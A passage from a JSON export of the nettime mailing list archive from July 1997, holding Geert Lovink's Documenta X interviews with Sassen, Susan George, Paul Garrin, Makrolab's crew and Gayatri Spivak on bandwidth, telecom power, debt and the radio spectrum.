experience. In Europe, in the afternoon it is difference\nthan in the morning. Why? Because it in the afternoon the USA has woken\nup and has invaded the Internet. You get to wait a much longer time. If\nyou have a lot of money, believe me, you will have a fast lane. In\nBombay or Sao Paolo, you will find different circumstances. For\ninstance, there are poor and rich universities. Some universities in\nthe US, in order to save money,  shift part of their bandwidth to\ncommercial users after 5 o'clock. And you will sit there forever to get a\nconnection.\n\nLOVINK: The campaign here, 'We Want Bandwidth', could be part of a\nstrategy to re-imagine what the public part of cyberspace could look like.\nWe could complain that the old parts of the public realm are disappearing.\nBut we could as well start reinventing new public spaces.\n\nSASSEN: It is not disappearing, it is being colonized. One of the key\nissues is to develop and promote more different sub-cultures. In Latin-\nAmerica there is a whole lot of net activity  in Spanish (Castillian).\nThe more diversity we have, the better. The colonizing of the space is\ngoing in many different directions. It does not only have to come from\nprivate companies. Even if it is just e-mail. Whether it is poor women in\nIndia connecting directly with a group of poor women in New Jersey, or\nlabour unions that are beginning to do more international organizing\nbecause they are on e-mail. It is really a question of maximazing the\nactivity on the Net, and militance, if you want.\n\nLOVINK: On the other hand, we have this economics of the networks.\nSimultaneously, with stiff competition and a drive towards\nmonopolization. Maybe this comes as no surprise. What may look like\nchaotic markets, is in reality quite frightening. Specially if look at\nthe mergers between the telcoms.\n\nSASSEN: This is a very real story, this joining of large firms across\nborders. One of the ironies is that in sofar as fiber optic cables does\nremain a very important way of getting the communication going, in\norder to provide global services, these companies have to cover the\nwhole, actual geography of the globe. Hence the necessity of the\nmergers. At the end we will have a limited number of very large global\ncompanies. Going global is the name of the game.\n\nWhen we talk about regulation today, we tend to give it a narrow\nmeaning, which has to do with the government regulating content. That\nis a totally different notion, compared to regulation access and\naccountability. We need to free the concept of regulation from what it\nis. We should innovate and start to think how we can regulate those big\nconglomerates. They are reshaping the topography of communications.\nThey are now moving into Latin-America, where the telecoms are being\nprivatized. For the upper middle classes and above,  this will be fine.\nThe problem are lower income communities, and more isolated places. Even\nin the USA there are people who cannot even afford a  telephone. In sofar\nas the global telecoms are dealing with a condition that is essential to\nus, whether we look at it as people, who have forms of sociabilities.\nOr if we look at it as democracies, where communication is necessary.\nBut now these firms are privatized and not accountable, which means we\nmight run into scenarios that are very nasty.\n\n(Edited by Patrice Riemens)\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Wed, 16 Jul 1997 19:18:04 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707161718.TAA28323 {AT} xs1.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00055.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> bandwidth interview with saskia sassen"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00071",
                "content": "\nDemystifying the Virtual Power Structures\nAn Interview with Susan George\nBy Geert Lovink\n\nAt Hybrid Workspace, Documenta X, Kassel\nJuly 16, 1997\n\n[Susan George is the vice-director of the Transnational Institute in\nAmsterdam and was from 1990-1995 on the board of Greenpeace International.\nShe is a well known critic of the Worldbank and the IMF and has publiced\nseveral books on the debt crisis.]\n\nGeert Lovink:  I was surprised about the opening statement of your 100\ndays lecture. You stated that economy and ecology are at war. Here in\nGermany, many from both the corporate world and the ecological movement\nthink in terms of collaboration and harmony. Influenced by New Age,\nthey think that the two might go together in the end. You called\nyourself an 'alarmist'.\n\nSusan George:  For the first time in history, we do not have much time\nahead of us. If New Age people think that everything can be made into\nsweetness and light, they have not examined power relationships very\ncarefully.\nI fear that if people can be persuaded that these two\nparadigms can be made to match without deep changes, it will distract\nthem from the kind of politics that we have got to do. You are\nspeaking from a very German point of view. Germany is at the very\nforefront of ecological awareness. Where I live, in France, people are\nway behind in such things as recycling. For the first time, France has\ngot now green MPs and a green minister. Allthough the United States\nmight have a high degree of awareness in some areas, politically\nspeaking this has not been translated into reality. The kind of radical\npolitics that I was trying to talk about has not yet reached any kind of\nlevel where major changes are going to come about. Many of these changes\nare taking place at the international level. And that's where it is going\nto be most difficult to act. Many of the destroyers of the planet are\nacting with inpunity, because they are acting at the international\nlevel. They are not transparent and are answerable to no one.\n\nGL: You have been on the board of Greenpeace for many years. Are you\noptimistic about the growth and strength of the ecological movement?\n\nSG: I left the board at the end of 1995. The new administration tends\nto engage a lot less in confrontations. Personally, I think that is a\nmistake.\nConfrontation and exposure are still very much needed. There are areas\nwhere one can cooperate with businesses. Yesterday I mentioned the\ninsurance industry which is getting knocked out. They incurred $ 50\nbillion of losses within the last ten years. Why? Because of global\nwarming and the increasing frequency of storms. Even if George Bush and\nBill Clinton were not convinced of global warming, the insurance companies\nare. And they are listening to Greenpeace and teaming up.\nThe case of the Greenpeace refrigerator has been overblown\nbadly. It was clear that the manufacturers were not interested in\nlistening, or doing any research about new technologies that would not\ndestroy the ozon layer. What Greenpeace did, with a couple of\nscientists from East Germany is simply to show that it can be done. The\nsame holds true for a car engine, that would use much less petrol. But who\nwants that in the oil industry? That is what I mean with confrontation:\nembarrassing the decision-makers by showing the consumer that it can be\ndone.\nThese products are also coming to developing societies like China and\nIndia, highly populous countries, where a substantial middle class is now\nin a position to buy refrigerators. If all of China is going to have\nrefrigerators with CFCs, we might as well put on our hands and\nsunglasses and hope for the best. Not all manufacturers have switched,\neven in France. You live in a paradise here.\n\nGL: In your lecture you did not mention the debt crisis. Could you give\nus an update? How do look at the recent developments, having done more\nthan ten years of research into it?\n\nSG: I only mentioned the debt crisis in relation with the ecological\ncrisis in the South and the East and the capacity of the Worldbank and\nthe IMF to impose neo-liberalism. As soon as a country has no other\nsource of fresh cash, it has to go to these international institutions.\nThen they are in a position to say, we lend you money, but on the\nfollowing conditions. That is how they have been able to forcebly\nintegrate into the global economy close on a hunderd countries. I\npublished my first book on the topic in 1987, having worked on it for\ntwo years. There comes a time when you have to leave a subject alone.\nIn the last year, I have prepared a report on Mediterranean debt for\nthe Italian government. Most activists are concentrating on Africa. As\nwell they should. But what I discovered in the cases of the Maghreb\ncountries, Egypt, Jordan, etc is that the scale of the problem is much\ngreater. The impossibility of this debt ever being payed back is\nexactly the same as for black Africa. The boomerang arguments (the\nimpacts it has on the North) hold true and Europe has allready started\nto pay heavily for the debt crisis in the Southern Mediterranean rim.\n\nGL: Within circles of cyberculture, money has been looked at from the\nangle of virtualization. Most of capital is now virtual, no longer\nrelated to the realm of the production of material commodities. It is seen\nas a closed, 'other' computer network, next to the Internet, and where the \nmoney is circulating  constantly, all over the world.\n\nSG: The existence of those financial electronic network is not a secret,\nbut it is difficult to get access and knowledge about it. Without\nelectronics, economic globalization could not have happened. In the\nforeign exchange market you got $ 1.2 trillion circulating every day.\nLess than 5% of that represents actual cash transactions. Most of it is\njust making money out of money. When I looked at the quite boring\nannual report of the Bank for International Settlements, a serious\ninstitution, the central bank of the central banks, in Basel, you\ndetect a note of utter panic. What they are saying is that the\nfinancial markets are inventing new instruments, much faster then we\ncan get a grip on them. The IMF stepped in when we had the crisis in\nMexico, in Russia and now in the Phillipines. My question is: when we\nhave the big crash, as we are going to have. quite soon, where is the\nIMF that is going to move in? There is nothing big enough to counter an\naccident like that. When it is going to come, this crash is going to\ncreate tremendous suffering, as it did in Mexico in january 1995.\nWorkers lost their job, malnutrition rate immediately went up, the\nsuicide rate and the crime rate are way up. The effects of electronic\nmarkets actually fall down on society.\n\nGL: In his article in the 'Atlantic Monthly', George Soros has also\nwarned for this to happen. He is supporting a lot of the NGOs,\nworldwide. How do you look at the growing importance of the NGO-sector?\n\nSG: I am not aware of growing power of NGOs. I am not well informed\nabout the activities of his foundation, but I would love to meet him. I\nthink he has got the right attitude towards the stockmarket because he\ndoes not follow the herd. He also proved that central banks are totally\npowerless when confronted a determented army of speculators. I want to\nsay here that these people are perfectly identifiable. One should not\ntreat this market as something mysterious, like giving the law on high,\nlike God speaking to Moses and then we all have to follow it. This is\n30-50 major banks, about the same number of brokerage firms, and a few,\nmostly US pension funds, which are in on this. 250 major guys doing all\nthis. There is no reason, in my view, why, if governments got their act\ntogether, and were a little bit less cowardly, then there is no reason why\nthese transactions could not be taxed. The moeny should not go to the UN.\nBut there is no reason that one could not constitute international funds\nwhich could be democratically managed. One could palliate the debt crisis\nand write off debts with that sort of a fund.\n\nGL: This campaign here in Hybrid Workspace is dealing with bandwidth.\nWe are trying to map who is owning the cables. What are your experiences\nin visualizing those abstract structures?\n\nSG: To be honest, yes, I was able to name the major players in the debt\ncrisis. I began to do work on those emerging markets. I could not carry\nit out because it was too expensive. I was able to interview people in\nSouth Africa because I was there for a conference. The same thing for\nthe Phillipines. That is another reason why Soros is important, because\nhe is demystifying a lot of what the markets are doing. Being one of the\nplayers himself, he certainly is not down on his knees, worshipping them.\nThat is one of the dangers. Capital is like a religion. The antropologist\nFabricio Sabelli sees institutions like the IMF depending on believe\nsystems, with the Worldbank as the mediaval church with its heaven and\nhell. The same thing is true for the market.\nThere is a good deal of popularizing to be done, in this case, to\ndemystify the Internet. And do remember that half of the world has never\nmade a telephone call.\n\n(edited by Patrice Riemens)\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 22 Jul 1997 13:34:49 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707221134.NAA26636 {AT} xs1.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00071.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with susan georg"
            },
            {
                "id": "00067",
                "content": "\nTelephone interview with Paul Garrin\nWe Want Bandwidth!\nBy Geert Lovink\n\n12. of July 1997 -\nat Hybrid Workspace Documenta X, Orangerie, Kassel\n\naudio version :\nhttp://www.icf.de/documents/RIS-DATA/868984455/868984455,3.ram\n\nsee also:\nhttp://wwww.waag.org/bandwidth\n\nGeert Lovink in Kassel: People that are visiting Documenta might find\nthe whole topic of bandwidth a little bit abstract. They are not\nreally familiar with it.\n\nPaul Garrin in New York: Let me make it clear to the average layperson.\nunderstandable bandwidth -what that means is that one of the acronyms of\nWWW is World Wide Wait. So everybody is waiting around the world for the pages\ndownloading, because there is not enough bandwidth.\n\nGL: Yes, everybody knows that. That's a way to enter the whole story,\nand then up to the next chapter - content and the economic aspects\nbehind the telecommunications business.\n\nPG: Definitely, and the question of who owns the bandwidth is a big\nissue. Because it is all the big telecom companies. And although there\nare many, they are becoming fewer as they merge. MCI was just eaten\nup by British Telecom, and Sprint is about to be eaten up by Deutsche\nTelekom, probably between the next 18 months or so, Deutsche Telekom has\nalready a 20% interest in Sprint, I  believe. Deutsche Telekom makes invoices\ninto the United States in terms of telecommunication infrastructure\nthrough Sprint, then in terms of public relations through the Guggenheim\nMuseum. \"Control the art and you control the people\".\n\nGL: They are then also directly involved into the Content Business which\nis the next level.\n\nPG: Exactly and this is the next trend of what the Bandwidth owners are\nstarting to do, which is now, for example, Time Warner and Disney and\nMicrosoft buying up Network Capacity all over the place and they are also\ncontent providers, if you can call it content. What is happening here, and\nwhat is going back to what I was talking about at Next Five Minutes back\nin 96, was discussing the idea of the permanent autonomous network. Which\nis the only way we can assure our presence: to buy the bandwidth\nbecause there is no guaranty of survival, especially if the Big Content\nProviders are buying up connectivity to control the content. There is\nno guarantee. As I said in my article \"The Disappearance of Public Space\non the Net\" about the encroachment of any kind of public space or free\nspace on the Interment by Big Media. The Old Media companies are buying up\nNew Media and are imposing the Old Media models, such as, for example,\nPush Media. This is the way how old media powers deal with new media, two\nway interactive media equals transmissions in both directions, but it is\ntwo way in the sense that they pump the content to the consumer and the\nreturn pipe is a thin pipe just to suck the data of their credit cards.\n\nGL: Critics might say \"we want more bandwidth\", the slogan of this\ncampaign (at Hybrid Workspace), that's why we criticize the so called Push\nMedia, maybe we are not quite well aware yet what we ourselves might do\nwith all the bandwidth. How do you see that?\n\nPG: Well, I say it is not necessarily a question of how much bandwidth,\nbut that we have any at all and, of course, what we do with it is of vital\nimportance. That has always been the problem with the net and the web,\nthat there are plenty of places to go, but nothing to see. And this\nproblem might potentially be solved by artists and creative people who\nhave something to say. I don't think this should really be an issue\nbecause we have all the tools before us, so lets not plunder them. We\nhave all the access in front of us, lets not waste them, lets not waste\ntime, because the more time we take to establish our presence, the more the\nspectacle and the creator, the more the encroachment of the commercial\nmedia will be, which will ultimately insecure any efforts by independents.\n\nGL: The latest update of Name.Space, lets tell it to the listeners..\n(see http://namespace.autono.net )\n\nPG: The case against Network Solutions, Name.Space filed back in March,\nalleging anti-trust against Network Solutions Inc., is now in front of\nthe judge of the Federal Court of New York at the United States Federal\nDistrict Court. And this week is a week of paper work, as it goes right\nnow, publicly the case is proceeding, and Network Solutions has basically\nadmitted\nin papers they have published on their homepage many of the things that\nName.Space has proved. Such as there is no technical limit of the numbers\nof top level domains, even quoting the inventor of DNS, that the Domain\nName Service and the software are a highly scalable system and that\nthere is no technical limit of the numbers of top level, or second level\nor third level domains, that the limit of 36 characters of each level is\nnot necessary.\nSo as it looks, things are moving forward in our direction, and we are\nvery optimistic about them coming out in our favor.\n\nGL: Yes this article that you were posting on nettime was\nvery interesting..\n\nPG: It appears that the United States Department of Justice, I guess, got\nwind of the Name.Space antitrust lawsuit against Network Solutions and\nthemselves approached Network Solutions and as we see into\npossible anti-trust practices.\n\nGL: An interesting move, isn't it?\n\nPG: It has nothing directly to do with our case, or any direct influence\non our case, because this is done under a separate jurisdiction, not\nof federal law, but however it is interesting that somebody else is\ntaking it very serious.\n\nGL: Can you explain to us a bit how you are moving yourself from the topic of\nBandwidth that you are raising to the practical project of Name.Space\nbecause name.space seems to be a little bit on the symbolic level, having\nto do with Names, and the freedom, and bandwidth seems to be a very\nhardboiled economic topic. Is that true?\n\nPG: Well, these two things are highly related and as in my statement\nbefore:  if we want to insure the presence of free media on the net, then we\nhave to buy our bandwidth. How to do that? To create an economic\nstructure which is basically a self-sufficient, self-supporting network.\nThis type of thing I thought that the idea of creating name.space as a\nservice to potentially fund the bandwidth that we need. Apparently the\nmarket for Domain Name Registration is a high one. In 1997 Network\nSolution add 90.000 domain names a month charging a 100 dollars up front\nfor two years. If you look at the map, that 9 Million dollars a month is\ncash flow at that rate. That is only selling com, net and org domains.\nNow on name.space, thanks to the public who have suggested many new top\nlevel categories, we have over 400 top level names available at the moment\nfor registration. So at that rate, at 25 dollars each, the potential is\nthere. At least a couple of million dollars a month, in cash flow. This\nkind of money coming in independent hands such as ours, probably is a bundit\nenough to fund our networks and to support our cooperative partners in\nEurope and even hopefully sponsor some other activities for producing\nmedia and holding conferences. So I think that it could be a very\nimportant aspect of independence of not only buying and providing\nbandwidth and server resources, but also supporting content production.\n\nGL: The question was, I can imagine that we could do something like\nname.space, could we even make a jump and start a kind of autonomous\nand go to that very hard level of providing bandwidth ourselves\nor even owning it.\n\nPG: Well, this is always a question of scale, scale is a question of\nmoney, if it turns up that we end up making money in the billions,\nsure we can lay fibre, and buy up satellite links. I wouldn't say\nthat this is in our 2 year plan, but I wouldn't rule it out either.\nIn fact I am known for my capacity for reinvesting resources\nand therefore if we do make that amount of money I am not that kind\nof person that buys fancy clothes and a Porsche and moves to a house\nin the country, I would put that into infrastructure.\n\n(transcribed and edited by Diana McCarty and Pit Schultz)\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00067.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Paul Garrin on bandwidth",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Joerg Heiser <heiser {AT} is.in-berlin.de>",
                        "content": "\nGeert Lovink wrote:\n> \n> Telephone interview with Paul Garrin\n> We Want Bandwidth!\n> By Geert Lovink\n> \n> 12. of July 1997 -\n> at Hybrid Workspace Documenta X, Orangerie, Kassel\n\n\n> GL: The question was, I can imagine that we could do something like\n> name.space, could we even make a jump and start a kind of autonomous\n> and go to that very hard level of providing bandwidth ourselves\n> or even owning it.\n> \n> PG: Well, this is always a question of scale, scale is a question of\n> money, if it turns up that we end up making money in the billions,\n> sure we can lay fibre, and buy up satellite links. I wouldn't say\n> that this is in our 2 year plan, but I wouldn't rule it out either.\n> In fact I am known for my capacity for reinvesting resources\n> and therefore if we do make that amount of money I am not that kind\n> of person that buys fancy clothes and a Porsche and moves to a house\n> in the country, I would put that into infrastructure.\n\nDear Geert, dear Paul Garrin,\nyes, nice move, the name.space idea.\n\nBut please talk more precise about \n- who of us is part of the \"we\" in alternative/\"autonomous\" projects of\nowning fibre, satellite links etc.\n- what form of (economic,political) organisation/powerstructure you talk\nof when you say \"autonomous\". Co-ops? Syndicates? Bandwidth-NGOs? Inc.s?\nOligarchy? \n\nAnd: do we want our future Richard Bransons rejecting fancy clothes and\npenitentially walk in humble rags?\n\nWe Want Porsche\n---joerg heiser\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00072",
                        "date": "Tue, 22 Jul 1997 14:21:54 -0700",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "33D52471.48BF {AT} is.in&#45;berlin.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00072.html",
                        "content-type": "text/plai",
                        "author_name": "Joerg Heiser",
                        "subject": "Re: <nettime> Paul Garrin on bandwidth"
                    }
                ],
                "message-id": "199707211309.PAA15681 {AT} xs1.xs4all.nl",
                "date": "Mon, 21 Jul 1997 15:09:18 +0200 (MET DST)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00090",
                "content": "\nnote: the interview posted yesterday with Ackbar Abbas was edited by\nLinda Wallace.\n\n------------------\n\nA visit to the Makrolab in Lutterberg\nThe Documenta X project - Marko Peljhan/Projekt Atol\n\nhttp://markolab.ljudmila.org\n\nCommunications equipment check with Marko Peljhan and Brian Springer\nLutterberg, july 20, 1997\nBy Geert Lovink\n\nMakrolab is a research station up on the Lutterberg, 10 km from Kassel.\nIt is an autonomous solar and wind powered communication and survival\ntent, full of equipment. One night I went there to find out about the\nfirst results of the project. Like Workspace, Makrolab had lots of\ntechnical problems in the first weeks of documenta X, but now the lab is\nup and running. In the coming days Makrolab will post an own text on\nnettime about the system.\n\nGL: Could you explain us what kind of interception equipment you have\nhere? This machine here says 'Microwave Videolink Transmitter -\nDesigned for Makrolab.'\n\nBS: It is a 10 gigahertz microwave link, going to the Documenta Halle\nwhere the video console of Makrolab is located. It is used to relay\nvideo information from the lab's side to the Halle. Beside that  there\nis  a video switcher  for the cameras that are related to the\nconsole. Here is some short-wave and two meter gear  which we for\nexample use to monitor the Mir transmissions.\n\nMP: You must have special decoding software to work with short-wave\ndigital transmissions and different modulations. All what you hear now\nis different kind of HF modems or encoders. Tele-printers which use\ndifferent standards.  A lot of it is encrypted and there are specific\nNATO and Russian systems with  specific baud rates that are almost\nimpossible to decode. It is not like baudot weather services or stuff\nlike that, it\u0092s much more complex and hidden and there\u0092s no readily\navailable information on it. When you hear and identify a baud rate of\n81 or 73 or 96  p.e., than it is probably some NATO transmission and you\nknow that you cannot get the message. But there\u0092s other systems which\nare very easily de-codable or even voice services which are usually not\nscrambled. What we hear now is p.e. information about the weather over\nthe Atlantic, the Shannon volmet for the air traffic flying towards\nEurope. On another channel we hear  Stockholm Aero, and HF aeronautical\nstation for transatlantic and transpolar routes. What we can decode\nquite easily is the SELCAL signals transmitted by aircraft, together\nwith their position, wind, temperature and fuel status. With the short\nwave setup we have it is of course also possible to transmit, and every\nnight I try to talk with some stations, yesterday it was Estonia and\nBelarus.  In the past two days it was Mir packet radio time, three times\na day and more.\nWe try to get the Mir signals when it over flies Europe. As you know Mir\nwas in trouble, but now they repaired their electricity circuit, and\ntoday they were resting, communicating with radio amateurs of the world.\nI\u0092ve put some signals information on the website.\n\nBS : On the other machine we are receiving signals in the L-Band around\n1.5 giga hertz. It is a communications receiver. It could be use for\nmobile phones, but they are mostly regionally located. We were specially\ninterested in crossing boarders and boundaries. Across five countries\nor more, like INMARSAT, which is a satellite telephone system, a\nbriefcase size. Maybe you saw Peter Arnett using this during the Gulf\nWar, speaking to CNN. There are still vestiges of the INMARSAT system\nthat are analogue based, which do not require any special digital\ndecompression. So here in Germany you could be listening to America,\nIreland or Teheran. This is where communication start to get\ninteresting, where the medium does what it does best, which is\ncommunicate. And where culture does what it does worst, which is\ncommunicate. We are investigating if the collision of these best and\nworst characteristics can create a interesting stage  for intervening in\nthe trans-national flow of information.\n\nMP: What makes this set of radio amateur gear perhaps specific is the\ncontext in which we are operating. The result is only becoming visible\nonly after quite a long period of time and a period of reflection. We have\njust started.\n\nGL: Brian, you have been doing satellite interception before. You\nreleased a videotape where you see politicians getting ready, doing\ntests for an open camera.\n\nBS: In the United States, these satellite feeds which were un-encrypted\nvideo transmissions, either by television networks or by corporations,\nwere accessible. One could find the Philip Morris Television Network\nevery now and then, doing a corporate teleconferencing. From their\nlawyers point of view it is a private transmission. And then it is my\npoint of view that this is public transmission because it is not\nscrambled. Anyone with a home satellite dish, which is 4 million, can\nreceive this. The issue here is: what is a common carrier, and what is\na broadcast? A broadcast is something that goes out to a mass public. A\ncommon carrier is something like a letter. But what happens if a letter\nis broadcast across a whole continent, when it is not encrypted, not\nin a digital but in an analogue form? A lot of contradiction can arise\nof what is public and what is private. The satellite\u0092s broad beam pushes\nthese contradiction to the surface.\n\nGL:  Could you compare that kind of work with video feed with current\nresearch on the audio spectrum?\n\nComing from the States, it is such a televised nation. There is a\nhoard of images, spewing forward. Everyday at 6 p.m. when the local\nnews starts, maybe 15 news reporter, are standing in front of chart\nbuildings, dead bodies and blown down houses, getting ready to report\nthe days carnage to the local television viewers. With the satellite TV\nfeed you could see these reporters before they go on-air. These satellite\nout-takes can sometimes be revealing.. Now it seems everyone who appears\non a satellite feed knows someone might be watching and/or taping them, so\nnow that candid stage has disappeared. Here the audio is interesting\nbecause it is still an open stage at times..\n\nMP: I have not worked with satellite video much, just for a year now.\nOne year ago we put on a 3m dish on the roof of Ljudmila in Ljubljana.\nIn Europe there are less feeds. What you get is pre-taped material that is\nsent to different broadcasters. I have been working with short wave for a\nlong time, since the early eighties. Short wave is the cheapest and most\naccessible way of communicating over long distances and still widely used.\nI think that almost everyone has the experience of suddenly hearing a\nfemale voice giving out four-letter codes for five hours on their own AM\nradio receiver.  We listen to those here too and try to make some sense\nand basically map them.  There is information available on the Internet\nabout the frequencies secret services use, but things are changing quickly\nin that world.  And basically every posted data is already old data. Audio\nand data traffic on SW is still not so accessible, compared to video,\nwhere you just hook your TV up to a satellite receiver and a dish and\nthere you go.\n\nGL: Brian, you experienced the closing of the open video channels. Most\nof it is now encrypted. This is also happening in the audio spectrum. Do\n\nyou see the same patterns occurring there?\n\nBS: The open windows are slowly closing. It is a unique opportunity to\nhave one last glimpse at the curve of the analogue spectrum before it\ncloses forever. Analogue seems to be more natural, curved, not binary,\nwith less protection for the information contained on these channels.\n\nGL: So we have to move than and crack the digital spectrum.\n\nMP: The big game is to move forward to digital domains. A complete set\nof new knowledge is needed. We heard rumors that digital\ncommunications, for example banking information were cracked. That is\nillegal and basically a criminal offense but tells a lot about the\nsafety of our own data being transmitted and re-transmitted over the\nnetworks.  The encryption that is currently used by states in diplomacy\nis very hard to decrypt. You must have the key, that's it. Intelligence\nservices are working more on getting the keys than to decrypt. The human\nis the weak element of the chain, not the signal anymore.\n\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nAppendix: this is why we built makrolab\n\nthe process of following a certain\nproblem could be metaphorically\nexpressed as travel through the areas\nof a big organism. the existent\ncognition systems explain various\nparts of  the ur-animal (e.g. the\nfoot, the organ, the tissue, the\nstructure, the particle...)\n\nby means of links they create\ntopographical areas. viewed from\ninside in the man who thinks,\nexplores, learns, experiences and\nfeels the latter form and organize\nthemselves as complete experiences,\nwhereas viewed from outside they\nmanifest themselves as neutral\nobjects: tools, books, images, plans,\ncalculations, data bases, models,\nsystems...\n\nthe exhibited object, the\nmakrolab-console represents the\nexternal, fragmentary view on the\nmakrolab - research station, which is\nset on the hill lutterberg.\n\nmakrolab is designed as an autonomous,\nmodular communications and living\nenvironment, which is powered by\nsustainable sources of energy (solar\nand wind power). it is designed for a\nlong existence in an isolated\nenvironment and can withstand extreme\nnatural conditions.\n\nit has it's own research and experience\ngoal. the station is built as a\ncombination of various scientific and\ntechnological logistics systems.\nmakrolab makes use of scientific and\ntechnological tools, knowledge and\nsystems, but it projects them in the\nsocial domain of art. we, the authors\nand crew make use of the system of art\nfor the shaping and representation of an\nintegral empirical and creative experience.\n\ntelecommunications as the main aspect of\nthe project is concentrated on the\ndiscovery and recording of the events\nwhich take place in the densely populated\nabstract areas of the electromagnetic\nspectrum. the electromagnetic spectrum is\na part of the global socio-political space,\nwhich is invisible and immaterial on one\nhand but presents a productive factor of\ngeneral living and social conditions on the\nother. it can be sensed only by the means\nof suitable interfaces and specialized\nknowledge. the telecommunication activities\nof makrolab are created  as the process of\ntranscribing invisible and vague\nmicro-environmental activities into\ntraditional, three-dimensional textures -\ndocuments.\n\nthe research station makrolab on the\nlutterberg hill nearby kassel (which is at\nthe same time one of the exhibited works of\nart at the documenta 10 exhibition) is the\nprimary conceptual and material plan of the\nproject which has yet only started to follow\nits objective, and which constantly shapes\nits contents and lives its own individual\nexperience.\n\n19.6.1997\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 25 Jul 1997 17:01:36 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707251501.RAA19922 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00090.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with Makrola"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00093",
                "content": "\nPax Electronica: against crisis-driven global telecommunication\nAn Interview with Gayatri Spivak\nBy Geert Lovink\nJuly 23, 1997\n\nAt Hybrid Workspace, Documenta X, Kassel\nhttp://www.documenta.de/workspace\n\n\"Gayatri Chakravorty Spivak, born in India, is a professor of English\nand comparative literature at Columbia University in New York. Her\nname is primarily associated with the concept of postcolonial\nstudies and along with Edward Said and Homi Bhabba she is\nregarded to be one of the most important representatives of this\nAnglo-American theoretical field. Her literary analyses and\ntheoretical writings have invariably dealt with the deconstruction of\nneocolonial discourses and a feminist-Marxist approach to\npostcolonialism, particularly to the schematized forms of\nrepresenting women in the Third World. During the summer months\nGayatri Spivak works with a non-governmental organization in\nBangladesh to organize an educational program for women and a\nteacher training course.\" The ofifcial Documenta X biography\n\nYou can see the lecture of Gayatri Spivak (real video) on:\nhttp://www.mediaweb-tv.de/dx/0724/gaeste_frame_e.html\n\nThe Global Knowledge conference she is referring to was organized by the\nWorldbank and took place in Toronto from june 22-25 june 1997. See also:\nhttp://www.globalknowledge.org/\nThe protests against this event were impressive. Read the report on:\nhttp://www.tao.ca/earth/lk97/archive/0119.html \n\nGeert Lovink: You are writing by hand?\n\nGayatri Spivak: It is not so much deliberate, but I just can't help\nwriting by hand. One types by hand also. It is not that the hand\ndisappears, but if I start typing, or working on the screen, I am\ndinosaur. I find that it disappears from me. I have a secretary but she\ncertainly does not type the stuff I write. I am from the manual typewriter\nera. The extraordinary editing capacities of the computer also touch me.\nThat second typing on the screen is a creative moment. It is just not the\nfirst moment. Is writing the first moment we do not know. I consume the\naffect of writing by hand. Another reason is that I do a lot of work in\nareas where there no electricity at all.\n\nGL: Here we try to mix real and virtual spaces, old and new media,\nthereby polluting the clean, bright concept of high-tech. We are trying\nto get away from the autopoetic, self-referential tendencies and \nideologies written into both the hard- and software.\n\nGS: The high-tech is an epistemological constraint I want to escape.\nThat's the secret of hybridisation. The biggest hybridisation is of\ncourse the sexual encounter which you want to escape and at the same\ntime are seduced by. Yes, epistemologic constraints seduce me because\nthey are outside of me, while at the same time I want to escape them.\nThis is how the game of hybridisation in my life goes on.\n\nGL: Do you consider the computer as a machine of exclusion? Or is it\njust a tool?\n\nGS: It does seem to me that in one way the computer is part of an\nempericisation of the desire for virtuality. This made D.H. Lawrence\nwrite some time ago that the sexual encounter is the eternal virginity\nof the soul. To an extent, real virtuality is the imagination, which\ndoes indeed exclude. It constantly makes you other yourself and other\nthe Other. So it is not as if the computer is alien to the way we are.\nI don't see a distinction between natural and artificial 